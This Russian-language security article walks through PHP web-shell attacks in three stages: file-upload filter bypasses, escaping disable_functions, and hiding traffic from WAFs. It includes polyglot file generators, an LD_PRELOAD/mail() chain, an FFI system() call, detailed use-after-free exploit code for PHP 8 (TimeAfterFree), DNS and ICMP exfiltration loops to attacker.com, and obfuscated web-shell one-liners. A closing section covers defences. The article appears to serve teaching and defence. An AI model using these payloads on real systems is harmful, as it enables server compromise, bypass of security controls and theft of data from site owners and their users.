
Почти в каждом PHP-приложении есть форма загрузки: аватар, документ, картинка к объявлению. Если у атакующего получится загрузить файл и заставить сервер его выполнить, он получит на машине ровно те же права, что и само приложение, а дальше — дело техники. Разбираемся, как противостоять таким атакам с помощью веб-шелла — серверного скрипта, который принимает команды через HTTP и выполняет их.
В самом простом виде веб-шелл умещается в одну строку:
cmd передается в system(), вывод уходит в ответ атакующему, по умолчанию он получает права ровно такие же, какие и у PHP-процесса. Вариантов реализации много: от однострочников до панелей с файловым менеджером и терминалом.
Среди популярных инструментов выделяются несколько. WSO и b374k — панельные шеллы с браузером файловой системы, выполнением команд и просмотром баз данных прямо в браузере. China Chopper — минималистичный однострочник, где вся функциональность вынесена на сторону клиента; его активно используют APT-группы, включая HAFNIUM и APT41. p0wny-shell дает терминальный интерфейс в браузере, а Weevely генерирует PHP-бэкдор с обфусцированным трафиком через нарезку и кодирование данных.
Загруженный файл проходит через несколько слоев (WAF, веб-сервер, PHP-приложение и интерпретатор), и каждый читает его по-своему. PHP-приложение смотрит на расширение в имени, веб-сервер маршрутизирует по своим правилам, WAF запускает собственный парсер содержимого, PHP-интерпретатор читает байты с начала до конца. Обход строится на расхождении между любыми двумя из них.
Что поставлено на карту
Загруженный и исполненный веб-шелл дает атакующему постоянный удаленный доступ к серверу с правами PHP-процесса, и этот доступ у него есть с момента первого исполнения файла.
Все секреты приложения открыты напрямую: строки подключения к базе данных, API-ключи платежных систем, OAuth-токены, S3-credentials лежат в конфигурационных файлах и читаются без ограничений. Данные пользователей, включая платежную информацию, доступны через прямые SQL-запросы к тому же серверу БД. В случае с e-commerce это прямой путь к скиммингу карт и утечке, которую придется раскрывать регулятору.
Если сервер не изолирован должным образом, шелл становится точкой входа в инфраструктуру. Через скомпрометированный PHP-процесс атакующий двигается к внутренним сервисам, которые в норме недостижимы из интернета, бэкапам, CI/CD-системам, очередям задач и соседним приложениям того же сервера.
По данным BI.ZONE, в первом полугодии 2025 года веб-шеллы обнаружены в веб-ресурсах каждой четвертой российской компании из 150 проверенных, причем больше половины из них лежали на периметровых ресурсах. Сам факт присутствия обнаруживается в среднем через несколько недель, а то и месяцев. Все это время атакующий имеет доступ, логирует трафик, закрепляется глубже и при желании готовит шифровальщик. Средняя стоимость инцидента с утечкой данных для компании среднего размера, по данным IBM Cost of a Data Breach, составляет несколько миллионов долларов, большую часть из которых формируют не технические работы по восстановлению, а регуляторные штрафы, уведомление пользователей и репутационные потери.
Статья разбирает три этапа, через которые атакующий к этому приходит:
-
Загрузка файла через фильтры.
-
Выполнение команд в обход disable_functions.
-
Маскировка трафика от WAF.
Этап 1. Загрузка
Загрузка файла сквозь средства защиты и ограничения PHP идеально показывает масштабы задачи, покрывая почти все этапы и барьеры, через которые нужно пройти.
Что такое файл? Файл — это последовательность байтов, и операционной системе безразлично, что в них записано, она просто хранит данные на диске. Как файл будет понят системой, решает инструмент, который его по определенным правилам читает. Парсер изображений ищет в начале файла магические байты, где GIF начинается с GIF89a, JPEG — с FF D8 FF, а PNG — с 89 50 4E 47. PHP-интерпретатор ищет открывающий тег <?php и выполняет все, что идет после него, независимо от того, что стоит в начале файла. Отсюда следует, что один файл может одновременно быть валидным изображением и содержать исполняемый PHP-код. Такой файл называется полиглотом.
Получается, файл с расширением .jpg, но с PHP-кодом внутри может исполниться на сервере? Ответ: и да, и нет. Чтобы такое сработало, надо перехватить запрос и обмануть WAF или приложение при загрузке. Но перед тем, как разбирать конкретные техники, стоит вспомнить, что такое байпас и почему при должном понимании и упорстве можно обойти практически любую проверку.
Байпас — это использование уже существующих легитимных механизмов протокола или спецификации для достижения действия, которое разработчик средства защиты не предусмотрел. Не взлом в смысле повреждения памяти или перебора паролей, а точная работа с тем, что уже описано в стандарте, реализовано в коде и ведет себя именно так, как написано. Вся суть в том, что атакующий не ломает систему, а использует то, как она устроена.
В нашем случае источником знаний служит RFC (request for comments) — серия документов, публикуемых IETF, которая определяет стандарты и протоколы интернета. RFC 2183 описывает заголовок Content-Disposition и правила извлечения имени файла, RFC 2045 и 2046 задают структуру MIME. Разные компоненты стека реализуют эти спецификации по-разному, читают неоднозначные места иначе или добавляют собственные расширения, и именно в расхождениях между реализациями лежит поверхность атаки.
Пойдем по порядку и разберем, из чего состоит типовой POST-запрос при загрузке файла на сервер:
POST /upload.php HTTP/1.1Host: example.comContent-Type: multipart/form-data; boundary=boundary123Content-Length: 199--boundary123Content-Disposition: form-data; name="file"; filename="photo.jpg"Content-Type: image/jpeg[binary JPEG data]--boundary123--
Браузер формирует тело запроса в формате multipart/form-data и оборачивает файл в часть с двумя заголовками.
1. Content-Disposition
Это заголовок, определенный в RFC 2183, который описывает, как следует обрабатывать данную часть тела запроса. В контексте загрузки файла он несет параметр name с именем поля формы и параметр filename с именем загружаемого файла. Именно по filename приложение определяет расширение и принимает решение о допустимости.
Допустим, на сайте в форме есть такая обработка:
Браузер автоматически подставляет name=»file123″ в Content-Disposition запроса, и, если подменить этот параметр на что-то другое, приложение, скорее всего, просто не найдет файл, потому что ждало именно file123.
filename при этом менять можно свободно, это просто строка в заголовке. Она влияет на имя, с которым файл будет подгружен на сервер, и именно через нее проходят основные техники обхода.
Техника
Пример
Механика
Двойное расширение
shell.php.jpg
pathinfo видит .jpg. Apache с non-anchored AddHandler (не дефолт) ищет .php где угодно в имени
Разрыв строки
"clean.jpg""shell.php"
Строгий парсер читает clean.jpg, нестрогий — продолжает за кавычкой и берет shell.php
Дублирование параметра
filename="a.php"; filename="b.jpg"
RFC предписывает брать первое, но реализации расходятся, любые два компонента могут взять разные значения
URL-кодирование
shell.ph%70
%70 = p. Компонент без декодирования видит строку без .php, следующий — декодирует
Двойное кодирование
shell.ph%2570
%25 = %. Первый компонент видит %70, второй — декодирует снова
Нулевой байт
shell.php%00.jpg
pathinfo видит .jpg. PHP до 5.3.4 не валидировал x00 в именах, C-функции ОС трактуют x00 как конец строки при открытии файла
Завершающая точка
shell.php.
Проверка может пропустить как неизвестное расширение, Windows отбрасывает точку
Завершающий пробел
shell.php
Как и в случае с точкой, Windows убирает пробел
Мусор в конце имени
shell.php/, shell.php., shell.php.....
Валидатор видит, что имя не кончается на .php, а файловая система отбрасывает хвост и возвращает shell.php
Blacklist
shell.phtml
Черный список редко закрывает все исполняемые расширения
Это незаконченный список: вариантов расхождений значительно больше, и общий принцип везде один. Каждый компонент стека читает одни и те же данные по своим правилам, и расхождение между любыми двумя из них создает зазор.
С тем же черным списком типичная ошибка — заблокировать .php и не учесть остальные исполняемые расширения: .phtml, .phar, .php3, .php4, .php5, .php7, .php8, .shtml, .pht. Каждое из них PHP- или веб-сервер выполнит с определенными конфигурациями.
.htaccess как вектор загрузки
Все техники выше работают с именем вредоносного файла. Но есть принципиально другой подход к обходу: не через проверку расширения, а через переопределение правила того компонента, который решает, что исполнять. В Apache эти правила можно задать локально для каталога через файл .htaccess, и, если форма позволяет загрузить его, атакующий сам определяет, как сервер будет трактовать соседние файлы.
Содержимое такого файла предельно простое:
AddType application/x-httpd-php .jpg
После загрузки этой строки в каталог любой файл с расширением .jpg в нем начинает исполняться как PHP. Теперь не нужно ни двойного расширения, ни игр с filename: обычный shell.jpg с PHP-кодом внутри становится рабочим веб-шеллом, потому что правило маршрутизации переписано под атакующего.
Это не значит, что WAF и проверки можно игнорировать. Наоборот, сам файл .htaccess надо провести через ту же форму, тот же WAF и тот же валидатор, и его подозрительное имя (без нормального расширения, с точкой в начале) часто и становится местом, где защита срабатывает. Плюс техника завязана на две вещи: во-первых, сервер должен быть Apache, а во-вторых, для каталога должен быть разрешен AllowOverride. На дефолтном современном конфиге стоит AllowOverride None, и .htaccess просто игнорируется.
Механика ровно та же, что и везде: есть зазор между двумя компонентами, приложение проверяет расширение загружаемого файла и не видит в .htaccess ничего исполняемого (это же не .php), а Apache читает этот файл как конфигурацию и меняет свое поведение.
Все техники выше работают против наивных реализаций. Если разработчик не использует $_FILES['file']['name'] вообще, а генерирует имя файла сам на сервере, большинство техник через filename просто не имеют точки входа.
$finfo = new finfo(FILEINFO_MIME_TYPE);$mime = $finfo->file($_FILES['file']['tmp_name']);if (!in_array($mime, ['image/jpeg', 'image/png', 'image/gif'])) { die('invalid type');}
Здесь имя файла от пользователя не используется вообще. finfo проверяет реальный MIME по сигнатуре в байтах, а не по заголовку из запроса, и итоговое имя генерируется случайно. Через манипуляции с filename такое не обойти.
2. Content-Type
Это строка, указывающая MIME-тип содержимого этой части. Браузер выставляет Content-Type автоматически по расширению файла при отправке формы, но никакой верификации соответствия заголовка реальному содержимому не происходит: это просто значение, которое клиент сам указывает в запросе. Меняем на image/jpeg через Burp, приложение видит допустимый тип и пропускает файл с любым содержимым внутри.
Но даже если имя и тип файла прошли все проверки, содержимое может сканироваться отдельно. И именно здесь появляется следующий слой обхода: инструментом становится полиглот.
Полиглоты
В начале этого этапа мы уже разобрали, что файл — это последовательность байтов и разные компоненты стека читают их по своим правилам. Полиглот — это файл, который одновременно валиден для одного парсера как изображение и содержит исполняемый PHP-код для другого.
Контентная проверка часто сканирует не весь файл, потому что потоковое сканирование каждого байта файла в 100 МБ при нескольких десятках одновременных загрузок превращается в ресурсоемкую операцию и открывает вектор DoS, когда атакующий намеренно загружает большие файлы, чтобы исчерпать ресурсы сканера. Поэтому многие реализации ограничивают глубину несколькими мегабайтами или даже несколькими килобайтами. PHP-интерпретатор читает файл целиком и ищет открывающий тег где угодно. Если PHP-код спрятан за пределами окна сканирования, проверка его не увидит.
Второй механизм точнее и надежнее. Форматы изображений имеют явные маркеры конца, и проверяющий компонент может останавливаться на них, считая, что дальше ничего нет. GIF заканчивается байтом 0x3B (Trailer). JPEG-файл закрывается маркером FF D9 (End of Image). PNG-файл завершается чанком IEND. PHP-интерпретатор эти маркеры не знает и продолжает читать дальше, выполняя все, что найдет после них.
Конкретно это выглядит так.
GIF — магических байтов GIF89a достаточно для того, чтобы finfo вернул image/gif, PHP нашел тег и выполнил код:
GIF89a
JPEG — нужны бинарные байты заголовка, удобно генерировать скриптом:
$header = "xffxd8xffxe0x00x10JFIFx00x01x01x00x00x01x00x01x00x00";$eoi = "xffxd9";$shell = '';file_put_contents('shell.jpg', $header . $eoi . $shell);
PNG — аналогично. Магические байты плюс маркер конца:
$header = "x89PNGrnx1an";$iend = "x00x00x00x00IENDxaeB`x82";$shell = '';file_put_contents('shell.png', $header . $iend . $shell);
SVG — чистый XML. finfo возвращает image/svg+xml, PHP выполняет тег при include:
Важно понимать, что сам по себе полиглот не дает выполнения. Для этого нужен мисконфиг сервера, который выполняет .jpg как PHP, способ изменить расширение файла через техники из таблицы выше либо отдельная уязвимость вроде LFI, где include выполнит PHP-код из любого файла вне зависимости от расширения.
Картинка опасна сама по себе
До сих пор картинка была контейнером для PHP, и для срабатывания требовалось исполнение на стороне сервера. Но часть форматов опасна и без всякого PHP, прямо как изображения, и этот вектор остается рабочим, даже когда исполнение закрыто наглухо.
Главный пример — формат SVG. Он является XML, а не растровой картинкой, и браузер рендерит его как полноценный документ, то есть внутри живут , обработчики событий и внешние ссылки. finfo честно возвращает image/svg+xml, проверка типа проходит, а при открытии файла в браузере жертвы отрабатывает stored XSS.
alert(document.domain)
Тот же XML открывает дорогу к SSRF и чтению локальных файлов через внешние сущности (XXE), если серверный обработчик картинок парсит SVG или конвертирует его. Отдельная история — обработка через ImageMagick, где цепочка форматов и политик исторически давала и RCE, и чтение файлов.
Суть в том, что проверки «Это валидная картинка?» недостаточно: валидная картинка может быть активным контентом.
На этом с загрузкой остановимся, потому что комбинаций защит, мисконфигов и векторов атаки очень много, а впереди более интересная часть про обход disable_functions.
Этап 2. Выполнение
Допустим, этап загрузки пройден. Файл лежит на сервере и исполняется как PHP — через мисконфиг, через LFI или потому, что атакующий добился нужного расширения одним из способов из этапа 1. Сама идея написать эту статью родилась из исследования, которое легло в основу этого блока. Именно эта часть зацепила своим подходом и цепочками, которые находили аналитики, — захотелось поделиться.
Прежде чем разбирать обходы, сразу обозначим, что такое disable_functions и чем она не является. Это директива в php.ini, которая запрещает вызов перечисленных функций, например system, exec, shell_exec, passthru, popen или proc_open. Мотив в том, чтобы, даже если удалось загрузить веб-шелл с system() или другой функцией, запретить процессу PHP выполнять ее.
Чувство безопасности от использования disable_functions не больше чем иллюзия: по факту это просто черный список, а мы уже знаем, что любой черный список защищает ровно до первой дырки в нем — до функции, которую забыли внести, или до способа добраться до команды в обход диспетчера функций PHP. Сам PHP это черным по белому подтверждает: в официальной позиции языка disable_functions и open_basedir не считаются средством изоляции, и баги их обхода не всегда признаются уязвимостями самого PHP. То есть вендор языка прямо не продает это как защиту, а пользователи все равно считают это мерой безопасности.
Вот поэтому эта часть самая интересная. Здесь нет взлома в лоб, переполнений и брутфорса, но есть чистая работа по спецификации, когда атакующий не ломает PHP, а собирает цепочку из того, как PHP устроен сам по себе. Цепочки, которые люди здесь нашли, сделаны красиво.
Дальше разберем их по нарастанию изящества.
Как работает disable_functions
PHP хранит все зарегистрированные функции в хеш-таблице, где ключ — это имя функции в нижнем регистре, а значение — это структура zend_function, в которой среди прочего лежит указатель на C-реализацию. Для встроенных функций принято соглашение об именовании с префиксом zif_, то есть system() в PHP — это zif_system() в исходниках на C, exec() — это zif_exec() и так далее. Когда интерпретатор встречает вызов функции, он ищет имя в этой таблице, берет указатель на обработчик и вызывает его.
disable_functions работает при инициализации PHP до обработки любого запроса. Он читает список имен из php.ini, находит каждое в хеш-таблице и патчит запись.
В PHP 7.x запись остается в таблице, но указатель на обработчик заменяется заглушкой, которая при вызове эмитит E_WARNING: system() has been disabled for security reasons и немедленно возвращает управление. Функция формально существует, function_exists('system') возвращает true, но вызов просто ничего не делает.
В PHP 8.0 поведение изменилось, запись удаляется из таблицы целиком. function_exists('system') возвращает false, а попытка вызова бросает fatal error как при обращении к несуществующей функции.
Ключевой факт для понимания всех обходов ниже: C-реализация функции (zif_system и все остальные) никуда не девается. Она остается скомпилированной в бинарный файл PHP и загруженной в память процесса. disable_functions патчит только таблицу диспетчеризации, то есть убирает маршрут, но не пункт назначения. Если атакующий получает прямой адрес нужной C-функции и вызывает ее в обход таблицы, disable_functions не видит этого вызова и не может его остановить. Именно в этом корень всех UAF-цепочек (use-after-free, разберем ниже), но сначала пара кейсов, которые не требуют UAF.
Обходы без UAF
LD_PRELOAD через mail()
Первый обход опирается не на дыру в PHP, а на то, как работает динамическая линковка в Linux. Переменная окружения LD_PRELOAD заставляет динамический загрузчик подгружать указанную .so-библиотеку до всех остальных, и любая функция в ней с совпадающим именем перекрывает оригинал. Важно понимать, что это происходит при старте нового процесса, а не текущего.
Цепочка выглядит так. Атакующий загружает на сервер .so-библиотеку с конструктором, который выполняет нужную команду при загрузке процесса. Затем из PHP вызывается putenv("LD_PRELOAD=/path/to/evil.so"), что устанавливает переменную для текущего процесса и его дочерних. После этого вызывается mail(), который внутри форкает новый процесс для отправки через sendmail. Дочерний процесс стартует с LD_PRELOAD из окружения, загрузчик подхватывает .so, конструктор отрабатывает раньше основного кода, команда выполнена.
putenv("LD_PRELOAD=/var/www/uploads/evil.so");mail("x", "x", "x");
// evil.so — конструктор выполняется при загрузке библиотеки__attribute__((constructor)) void pwn() { system("id > /tmp/out.txt");}
disable_functions здесь не участвует, потому что system() вызывается не из PHP-процесса, а из дочернего через стандартный libc-вызов. Chankro от TarlogicSecurity принимает на вход команду, генерирует готовую .so с конструктором и PHP-скрипт, который загружает ее через putenv и запускает через mail(). Таким образом получается полная цепочка без ручной компиляции.
Вектор ограничен несколькими условиями. Нужен mail() в списке доступных функций или другой триггер, форкающий процесс, например mb_send_mail(), error_log() с отправкой на email или imap_mail(). Нужен путь с правом на запись, куда можно положить .so, и sendmail или совместимый бинарь должен быть в системе, иначе mail() форка не сделает. Важно: если запускаемый бинарь — setuid/setgid или имеет файловые capabilities (типичный sendmail на Debian/Ubuntu), а динамический загрузчик работает в secure-execution mode и игнорирует LD_PRELOAD из окружения, цепочка не сработает.
FFI
PHP 7.4 добавил расширение FFI (foreign function interface), позволяющее вызывать C-функции из разделяемых библиотек напрямую из PHP-кода. Если расширение загружено и ffi.enable=true, атакующий вызывает system() прямо из libc, полностью минуя таблицу функций PHP и все, что disable_functions в ней патчил:
$ffi = FFI::cdef("int system(const char *command);", "libc.so.6");$ffi->system("id");
disable_functions не видит этого вызова, потому что он идет не через zif_system, а напрямую через указатель на libc. По умолчанию в PHP 7.4+ ffi.enable=preload, что ограничивает FFI скриптами из preload, но на конфигах с ffi.enable=true этот обход рабочий и тривиальный.
UAF
Use-after-free — это класс ошибок памяти, при которых код продолжает использовать указатель на уже освобожденную память. В контексте PHP и disable_functions это означает, что, если заставить PHP освободить внутреннюю структуру и тут же занять ту же область памяти под контролируемые данные, можно подменить содержимое структуры, включая указатель на C-обработчик функции.
Все техники ниже работают из кода PHP, который уже исполняется на сервере, то есть предполагают успешный этап 1.
Таблица ниже показывает, какие техники работали на каких версиях PHP.
Баг
Версии PHP
CVE
Триггер
debug_backtrace #76047
7.0–7.4
—
unset свойства в __destruct при захваченном backtrace
E_WARNING concat #81705
8.0–8.1
—
$arr[1] .= str с error handler, мутирующим $arr
TimeAfterFree (m0x41nos)
Актуальные версии PHP 8
—
__destruct во время .= + DateInterval как носитель R/W-примитива
GC UAF #72530
5.6–7.3
—
__destruct создает ссылку во время GC
JSON serializer #77843
7.0–7.3
—
jsonSerialize() удаляет элемент в процессе кодирования
User Filter #54350
5.3–8.0
—
fclose изнутри filter() того же фильтра
SplDoublyLinkedList #80111
7.0–8.0
—
offsetUnset() дестроит элемент до обновления traverse_pointer
ZEND_FRAMELESS UAF GH-23204
8.4+
—
implode() + __toString мутирует массив во время ZEND_HASH_FOREACH_VAL
Unserialize UAF calif.io
8.5.5
—
Вложенный unserialize вызывает ресайз var_hash, внешний держит старый ptr
debug_backtrace, PHP 7.0–7.4
debug_backtrace() возвращает массив с описанием стека вызовов, и в этих версиях PHP при определенных флагах она возвращает аргументы функций по ссылке. Это создает ситуацию, при которой ссылка на zval (внутренний контейнер значения) живет в результате backtrace, тогда как сам zval был освобожден, когда переменная вышла из области видимости или была явно перезаписана. Освобожденная, но еще адресуемая область памяти может быть занята следующим аллокатором, и атакующий управляет тем, что туда попадет. Записав по этому адресу структуру вида zend_internal_function с подмененным полем handler, атакующий получает вызов по произвольному адресу при следующем обращении к этой структуре.
function take_ref(&$arg) { return debug_backtrace(DEBUG_BACKTRACE_PROVIDE_OBJECT)[0]['args'][0];}$str = str_repeat('A', 48); // строка нужного размера$ref = take_ref($str); // $ref держит ссылку на zval $str$str = null; // refcount → 0, zval освобожден // $ref — висячая ссылка на освобожденную память// следующая аллокация нужного размера займет этот слот
E_WARNING в строковой конкатенации, PHP 8.0–8.1
Строковая конкатенация в PHP не атомарна. Пока PHP строит результирующую строку, он держит промежуточный zval в незафиксированном состоянии. Если в этот момент что-то генерирует E_WARNING и при этом зарегистрирован пользовательский обработчик через set_error_handler(), PHP синхронно вызывает его, не завершив конкатенацию. Внутри обработчика можно довести счетчик ссылок промежуточного zval до нуля и освободить его, а на его месте разместить контролируемые данные. Когда обработчик возвращает управление и конкатенация продолжается, PHP пишет в уже чужую память, и, если там лежит нужная структура с подмененным указателем на обработчик, обход состоялся.
$arr = [str_repeat('A', 48)];set_error_handler(function() use (&$arr) { unset($arr[0]); // освобождаем $arr[0] в середине .= $arr[0] = str_repeat('X', 48); // занимаем освобожденный слот});// RHS — массив, PHP 8.0–8.1 генерирует E_WARNING "Array to string conversion"// set_error_handler срабатывает синхронно, пока concat_function держит указатель на $arr[0]$arr[0] .= [1, 2, 3];
TimeAfterFree
Эта цепочка от m0x41nos отличается от предыдущих тем, что не опирается на set_error_handler и не требует зарегистрированного пользовательского обработчика ошибок. UAF создается через __destruct, срабатывающий в момент, когда движок разрушает массив во время операции конкатенации. DateInterval используется как носитель произвольного чтения и записи памяти через PHP-свойства, которые напрямую маппируются на поля C-структуры. Путь эксплуатации состоит из 5 шагов.
Шаг 1. Триггер UAF
Массив-жертва строится так, что последним элементом стоит объект FreeMe, держащий ссылку на Pwn:
class FreeMe { public function __destruct() { $this->pwn->helper = $this->pwn->array; }}
Затем выполняется:
$this->array = [ $a, new DateInterval('PT0S'), // [1] new DateInterval('PT0S'), // [2] new FreeMe($this), // [3]];@$this->array .= 'x';
Оператор @$this->array .= 'x' пытается привести массив к строке для конкатенации. PHP генерирует Notice (подавленный @) и начинает разрушать хранилище массива. В процессе разрушения вызывается деструктор FreeMe, и внутри него $this->pwn->helper = $this->pwn->array сохраняет ссылку на массив, чья память уже находится в процессе освобождения. После того как деструктор возвращает управление, движок довершает освобождение, и $this->helper становится висячим указателем на освобожденную область.
Шаг 2. Heap grooming и получение адреса
До триггера спрей из 63 объектов DateInterval выравнивает кучу, так что освобожденные слоты будут заняты новыми аллокациями предсказуемого размера. После UAF новые DateInterval занимают те же слоты, что раньше занимали элементы [1] и [2] оригинального массива.
PHP при этом видит $this->helper как живой массив. Обращение $this->helper[2]->y читает поле y (годы, int64) того, что PHP считает DateInterval в позиции [2], а по факту это первые 8 байт свежего DateInterval, занявшего то место. DateInterval::y маппится непосредственно на поле y в C-структуре timelib_rel_time, поэтому чтение возвращает адрес на куче, то есть указатель, хранящийся по этому смещению в структуре.
$addr = $this->helper[2]->y; // heap leak: адрес DateInterval на куче
Шаг 3. R/W-примитив
Методы read() и write() каждый раз переиспользуют тот же UAF-паттерн и строят произвольное чтение и запись через два соседних DateInterval, оказавшихся на месте элементов [1] и [2]:
private function read($addr, $bytes = 8){ // ... UAF setup ... $this->helper[2]->y = $addr; // записываем целевой адрес в поле y [2]-го объекта $value = $this->helper[1]->y; // читаем 8 байт оттуда через y [1]-го $this->helper[2]->y = $block_addr; return $value;}
Запись в $this->helper[2]->y перезаписывает поле в C-структуре, фактически заставляя следующее чтение через [1]->y разыменовывать произвольный адрес. Это дает читать и писать 8 байт по любому адресу в адресном пространстве процесса.
Шаг 4. Нахождение zif_system
Имея R/W-примитив и адрес DateInterval на куче, эксплоит читает указатель на handlers-таблицу объекта. Смещение зависит от версии:
private const dateinterval_handlers_offset = PHP_VERSION_ID < 80500 ? 0x38 : 0x30;
Из handlers-таблицы эксплоит идет назад по памяти ($addr -= 0x10) в поисках структуры стандартного модуля PHP. Он ищет запись с размером 0xa8 и одной из известных дат API-модуля: 20220829 (PHP 8.2), 20230831 (8.3), 20240924 (8.4), 20250925 (8.5), а затем проверяет имя модуля, сравнивая 8 байт с little-endian-представлением строки "standard":
if ($module_name === 0x647261646e617473) { // "standard" в little-endian return $addr;}
Дальше через указатель standard_functions эксплоит обходит таблицу функций стандартного модуля, сравнивая первые 6 байт имени каждой записи с 0x6d6574737973 (little-endian "system"), и при совпадении читает следующие 8 байт. Это и есть адрес zif_system в памяти:
if ($f_name === 0x6d6574737973) { // "system" в little-endian return $this->read($addr + 8);}
Размер записи функции зависит от версии: до PHP 8.4 он равен 0x20, с 8.4 — 0x30:
private const zend_fe_size = PHP_VERSION_ID < 80400 ? 0x20 : 0x30;
Шаг 5. Перехват потока исполнения
Теперь у эксплоита есть адрес zif_system. Он назначает свойству $this->interval замыкание с именем system1337, находит его в хеш-таблице свойств DateInterval по ключу, а затем:
-
Перезаписывает 4 байта по смещению
+0x38от начала объекта замыкания, выставляя тип функции какIS_INTERNAL_FUNCTION. -
Перезаписывает поле
handlerпо смещениюzif_handler_offsetадресомzif_system. Смещение зависит от версии:
private const zif_handler_offset = PHP_VERSION_ID < 80400 ? 0x80 : 0x90;
После перезаписи вызов ($this->interval->system1337)($cmd) идет в движок как вызов обычного замыкания, но handler уже указывает на zif_system, и команда выполняется в обход всей таблицы disable_functions.
$this->write($closure_addr + 0x38, 1, 4);$this->write($closure_addr + self::zif_handler_offset, $system);($this->interval->system1337)($cmd);
Все три техники вызывают C-функцию напрямую по адресу — в обход таблицы диспетчеризации PHP.
disable_functionsпатчит маршруты в этой таблице, но сами C-функции остаются в памяти процесса, и ничто не мешает вызвать их напрямую, если знать адрес. Именно поэтому обход не требует привилегий и не зависит от версии операционной системы: он целиком внутри PHP-процесса и работает в рамках тех прав, которые у него и так есть.
Этап 3. Трафик
Современные WAF, NGFW и IDS/IPS давно умеют анализировать не только входящие запросы, но и исходящий трафик, выявляя аномалии по сигнатурам, поведению и объему данных. Шелл исполняется, но каждый запрос к нему и каждый ответ от него проходят через эту инфраструктуру. На входе запросы с командами фильтруются по сигнатурам, на выходе прямое TCP-соединение до сервера атакующего закрывается firewall или режется по egress-политике. Этот этап о том, как команды скрываются от инспекции и как данные выходят через каналы, которые эти решения не закрывают или закрывают редко.
Request
Сигнатурный движок WAF ищет в запросе разделители команд (;, |, &&), конструкции подстановки ($(), обратные кавычки) и имена утилит (whoami, id, cat, bash). Мы показали, что одну команду whoami можно записать 37 196 синтаксически разными способами, и черный список не успевает за этим пространством вариантов.
Простой шелл передает команду напрямую, system($_POST['cmd']), и именно это WAF ловит: в параметре видны и имена утилит, и разделители. Шелл можно построить иначе, чтобы команда никогда не попадала в параметр в читаемом виде. Шелл принимает base64 и декодирует его сам, WAF видит случайную строку. Если WAF декодирует base64, payload разбивается по нескольким параметрам, ни один из них отдельно не раскодируется во что-то подозрительное, а сборку из нескольких WAF обычно не делает.
system(base64_decode($_POST['a'] . $_POST['b']));
Response
Часть WAF уровня L7 анализирует не только запросы, но и ответы сервера, разыскивая в теле признаки успешного выполнения команды: строки из /etc/passwd, вывод id, типичные shell-сообщения. Это закрывает простой случай, где system() возвращает вывод напрямую в HTTP-ответ. При blind-инъекции в ответе вообще ничего нет, атакующий судит об исполнении по задержке или DNS-запросу. Если вывод закодирован в base64 или hex, сигнатура, рассчитанная на открытый текст, его не обнаружит. При внешней передаче данные уходят не в HTTP-ответ, а через DNS, ICMP или TCP-соединение. Последние два варианта разобраны ниже.
Эксфильтрация через DNS
Прямое TCP-соединение до сервера атакующего firewall режет первым. DNS при этом остается открытым почти везде, потому что без него разрешение имен ломается для всего хоста. Атакующий арендует домен, выставляет свой authoritative nameserver и читает логи входящих запросов.
$out = shell_exec($cmd);foreach (str_split(bin2hex($out), 60) as $i => $chunk) { dns_get_record($i . '.' . $chunk . '.exfil.attacker.com');}
Каждый запрос несет 60 шестнадцатеричных символов как поддомен. Атакующий склеивает куски по индексу $i и декодирует обратно в текст. DNS-метка ограничена 63 символами, а весь FQDN — 253 символами, поэтому нарезка мельче 60 обязательна. Оговорка: dns_get_record() использует системный resolver, не позволяя указать произвольный NS. Если egress режет 53/udp к внешним адресам, а внутренний resolver не форвардит зону атакующего, запросы не уйдут наружу.
Эксфильтрация через ICMP
Пакеты ICMP echo несут поле данных, которое firewall обычно не инспектирует. Атакующий поднимает перехватчик трафика на своей стороне и читает данные из входящих пакетов:
$encoded = base64_encode(shell_exec($cmd));foreach (str_split(bin2hex($encoded), 16) as $chunk) { system("ping -c 1 -p " . $chunk . " attacker.com");}
Флаг -p в ping заполняет данные ICMP-пакета паттерном. Если ядро разрешает unprivileged ICMP через net.ipv4.ping_group_range, ping -p работает без raw-сокетов и дополнительных привилегий. Без этой настройки ping требует CAP_NET_RAW или setuid, которых у PHP-процесса нет. В контейнерах и средах с seccomp raw-сокет может быть недоступен независимо от настроек ядра.
Обфускация шелла
Статические сканеры, php-malware-finder, YARA-правила и любой инструмент обнаружения шеллов ищут в файлах конкретные литеральные строки system(, exec(, shell_exec(, passthru(, и три техники убирают их из файла.
Кодирование имени функции
Строку system можно собрать в рантайме, не записывая ее целиком в файл:
$f = 'sys' . 'tem'; // конкатенация$f($_GET['c']);$f = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109); // chr()$f($_GET['c']);("x73x79x73x74x65x6d")($_GET['c']); // hex-escape в строке
Ни в одном из вариантов слово system как литерал в файле не присутствует.
Разрыв паттерна
Сканер ищет system( как последовательность символов. Переменная-посредник разрывает ее:
$a = 'sys'; $b = 'tem';$f = $a . $b;$f($_GET['c']);implode('', ['s','y','s','t','e','m'])($_GET['c']);
eval + gzinflate + base64
Весь шелл хранится как сжатая и закодированная строка, в plaintext нет ни одной опасной функции:
<?php eval(gzinflate(base64_decode('...')));
Строка ... хранит base64_encode(gzdeflate('system($_GET["c"])')), то есть само тело шелла в сжатом и закодированном виде. Сигнатурный сканер не найдет system или exec, только eval, gzinflate и base64_decode, которые встречаются и в легитимном коде. Против комбинации всех трех техник работают эвристики вида «eval вместе с base64_decode в одном файле» и динамический анализ с трассировкой исполнения, но оба метода дороже в production и дают ложные срабатывания на легитимные компоненты.
Защита
Любая отдельная проверка рано или поздно падает, WAF и PHP парсят один и тот же запрос по-разному, забытая функция остается в списке, сигнатуру обходят мусором. Бессмысленно искать одну идеальную проверку: нужно выстроить защиту так, чтобы один пробитый слой не давал RCE.
Этап атаки
Что его закрывает
Что остается
Загрузка, обход имени и типа
Каталог вне веб-рута и без исполнения, пересохранение картинок
Активный контент в SVG, если его не санитизировать
Выполнение, обход disable_functions
Least-privilege-процесс, FFI выключен, лишние расширения не загружены
Сам disable_functions обходится, это только стоимость
Трафик, реверс-шелл и эксфильтрация
WAF с анализом ответов, egress-фильтр по uid, обрезанные сокеты
Каналы через разрешенный трафик, DNS к своему резолверу
Уровень 1. Убрать класс целиком
Если загруженный файл нельзя запросить по URL и нельзя исполнить как PHP, весь первый этап обесценивается: двойные расширения, полиглоты и игры с filename просто не дают результата. SVG-XSS и SSRF через SVG-парсеры при этом остаются отдельным вектором, который закрывается санитайзером или запретом формата. Загрузки хранятся вне document root и отдаются через скрипт с Content-Disposition: attachment. Если файлы все же лежат под веб-рутом, исполнение в каталоге выключается жестко.
php_admin_flag engine off SetHandler none AllowOverride None
